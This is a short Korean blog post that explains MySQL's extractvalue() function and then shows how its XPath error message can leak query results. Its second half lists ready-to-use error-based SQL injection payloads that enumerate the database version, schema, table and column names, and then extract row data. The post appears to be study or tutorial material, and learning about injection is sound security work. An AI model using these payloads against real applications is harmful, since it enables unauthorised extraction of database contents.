programming/sql

extractvalue()

chanchand 2023. 1. 24. 18:42
반응형

설명

XML에서 XPath 표현식에 일치하는 데이터를 추출하여 반환

extractvalue(xml_frag, xpath_expr)

 

두번째 인수에 유효하지 않은 XPath 표현식이 사용된다면 오류 발생

ERROR 1105 (HY000): XPATH syntax error: '[xpath_expr 인수값]')

 

 

인수

xml_frag : XML 마크업

xpath_expr : XPath 식으로 지정

 

 

 

error based injection

두번째 인수에 임의의 SQL 쿼리를 지정했을 때 이 쿼리의 실행결과가 오류 메시지에 포함되어 출력된다.

이 점을 이용해 error based injection 수행이 가능하다.

두번째 인수가 항상 유효하지 않은 XPath 표현식이 되도록 하기 위해 concat 함수를 이용해 콜론(:,0x3a)을 앞에 추가한다.

extractvalue(rand(), concat(0x3a,version()))-- # 데이터베이스 버전
extractvalue(rand(), concat(0x3a,(select concat(0x3a,schema_name) from information_schema.schemata limit 0,1)))-- # 데이터베이스명
extractvalue(rand(), concat(0x3a,database()))-- # 데이터베이스명
extractvalue(rand(), concat(0x3a,(select concat(0x3a,table_name) from information_schema.tables WHERE table_schema='데이터베이스명' LIMIT 0,1)))-- # 테이블명
extractvalue(rand(), concat(0x3a,(select concat(0x3a,column_name) from information_schema.columns WHERE table_schema='데이터베이스명' and table_name='테이블명' LIMIT 0,1)))-- # 컬럼명
extractvalue(rand(), concat(0x3a,(select concat(컬럼1,0x3a,컬럼2) from 데이터베이스명.테이블명 limit 0,1)))-- # 데이터
반응형

'programming > sql' 카테고리의 다른 글

order by  (0) 2023.01.25
SELECT @local_variable  (0) 2023.01.23
[MySQL] 명령어  (0) 2023.01.09
procedure_analyse  (0) 2023.01.09
is null/is not null, in/not in  (0) 2023.01.07